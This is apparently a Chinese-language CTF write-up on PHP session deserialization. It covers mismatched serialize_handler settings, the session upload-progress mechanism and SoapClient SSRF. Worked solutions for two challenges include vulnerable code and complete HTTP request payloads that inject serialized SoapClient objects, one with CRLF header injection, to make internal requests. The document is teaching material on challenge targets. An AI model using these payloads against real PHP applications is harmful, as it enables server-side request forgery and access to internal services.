phpsession反序列化

php session

前言

前段时间做了下和php session反序列化和原生类利用的题目,现在来总结下

背景知识

主要涉及到了php session的存储机制和反序列化中原生类的应用:

  1. php session存储机制
    php的session默认是存储在文件总中的,存储结构是由session.serialize_handler决定。
    session.serialize_handler总共有三种值取值:

    1. 第一种是php,存储后内容的结构式keyname|反序列化对象的内容。
    2. 第二种是php_serialize,储存内容为序列化后的数组。
    3. 第三种是php_binary,存储内容为二进制字符串keyname:length(keyname)|value。

    当session.serialize_handler为php时,检测到|时,会将|前的内容解析为session的键值,后面的内容会被反序列化为session的内容。如果有这么一种情况,当某一页面serialize_handler为php,而当前默认的session_handler为php_serialize,那么形如p|a:2:{s:1:”a”;i:1;s:1:”b”;i:2;}字符串在session_handler为php的页面session唤起的过程中会被反序列化为一个数组,通过这种手段,我们可以在当前页面的session中注入任意对象。

  2. session upload progress导致的安全问题
    这里先简单地讲一下上传进度相关的几个配置,这里引用php文档的内容。

    session.upload_progress.enabled INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。当一个上传在处理中,同时POST一个与INI中设置的 session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。 当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是 session.upload_progress.prefix session.upload_progress.name连接在一起的值。
    session.upload_progress.cleanup选项设置为On时,会在上传完成后自动upload_progress清除的内容。

    在默认情况下session.upload_progress.enabledsession.upload_progress.cleanup选项是启动的,所以在这种情况下要达到利用目的需要进行条件竞争。

  3. 通过soapclient 达成ssrf

    可以看这一篇文章:https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html

    主要是利用了soapclient触发__call方法,可以构造出本地请求。

综上,如果存在session handler不一致的情况,并知道session中的对象会调用摸个方法的情况下,我们就有可能利用以上3项内容构造一个ssrf。

ctf题目

第一个例子为LCTF的bestphp’s revenge
目标是访问 http://127.0.0.1/flag.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');//session第一个元素,和we...作为数组
call_user_func($b, $a);
?>

很明显是利用soapclient的__call方法打ssrf,但是我们知道session_handler默认处理方式是php_serialize,所以我们需要用某种方式更改当前页面的session解析配置。一开始我想到的是ini_set,但是这个函数需要传入两个参数,所以不行。最后找到了session_start。

session_start ([ array $options = array() ] )

这个题主要的流程如下:

  1. 通过session_start的设置,在session中注入一个soap_client对象。
  2. 使用变量覆盖将$b覆盖成call_user_func达到soap_client调用不存在的方法的目的,从而发起ssrf。

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
POST /?f=session_start&name=|O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A16%3A%22http%3A%2F%2F127.0.0.1%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D HTTP/1.1
Host: 26c83e0a-f61a-4971-9422-aa1709739e48.node3.buuoj.cn
Content-Length: 37
Cache-Control: max-age=0
Origin: http://26c83e0a-f61a-4971-9422-aa1709739e48.node3.buuoj.cn
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://26c83e0a-f61a-4971-9422-aa1709739e48.node3.buuoj.cn/
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8,ja;q=0.7
Cookie: _ga=GA1.2.80454834.1580366479; PHPSESSID=tsphtg7hofke44d6g
x-forwarded-for: 127.0.0.1
x-originating-ip: 127.0.0.1
x-remote-ip: 127.0.0.1
x-remote-addr: 127.0.0.1
Connection: close

serialize_handler=php_serialize


POST /?f=extract&name=1 HTTP/1.1
Host: 26c83e0a-f61a-4971-9422-aa1709739e48.node3.buuoj.cn
Content-Length: 16
Cache-Control: max-age=0
Origin: http://26c83e0a-f61a-4971-9422-aa1709739e48.node3.buuoj.cn
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://26c83e0a-f61a-4971-9422-aa1709739e48.node3.buuoj.cn/
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8,ja;q=0.7
Cookie: _ga=GA1.2.80454834.1580366479; PHPSESSID=tsphtg7hofke44d6g
x-forwarded-for: 127.0.0.1
x-originating-ip: 127.0.0.1
x-remote-ip: 127.0.0.1
x-remote-addr: 127.0.0.1
Connection: close

b=call_user_func

第二个例子是swpuctf的web6这种没有操作session的情况。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//省略部分代码 目标是调用getflag方法
se.php
...
class dd
{
public $name;
public $flag;
public $b;

public function getflag()
{
session_start();
var_dump($_SESSION);
//session中第一个变量需要是array
//flag作为传参
$a = array(reset($_SESSION), $this->flag);
echo call_user_func($this->b, $a);
}
}
...

这里和上一题不一样,由于没有操作session所以需要用到PHP_SESSION_UPLOAD_PROGRESS来注入session对象。需要注意的是,这里的payload需要放在PHP_SESSION_UPLOAD_PROGRESS这一栏,试过name这一栏发现没用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /index.php HTTP/1.1
Host: 26cf9497-4109-455c-a23e-188395761f39.node3.buuoj.cn
Content-Type: multipart/form-data;
Referer: http://192.168.3.19/upload/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=test23
Connection: close
Content-Length: 521

------WebKitFormBoundaryKzdeUKO2QjByVOSs
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

1|O:10:"SoapClient":5:{s:3:"uri";s:4:"aaab";s:8:"location";s:30:"http://127.0.0.1/interface.php";s:15:"_stream_context";i:0;s:11:"_user_agent";s:58:"wupco
X-Forwarded-For:127.0.0.1
Cookie:user=xZmdm9NxaQ==";s:13:"_soap_version";i:1;}
------WebKitFormBoundaryKzdeUKO2QjByVOSs
Content-Disposition: form-data; name="file"; filename=""
Content-Type: text/plain

------WebKitFormBoundaryKzdeUKO2QjByVOSs--

总结

目前先大概做这么一篇总结,估计日后还要修改。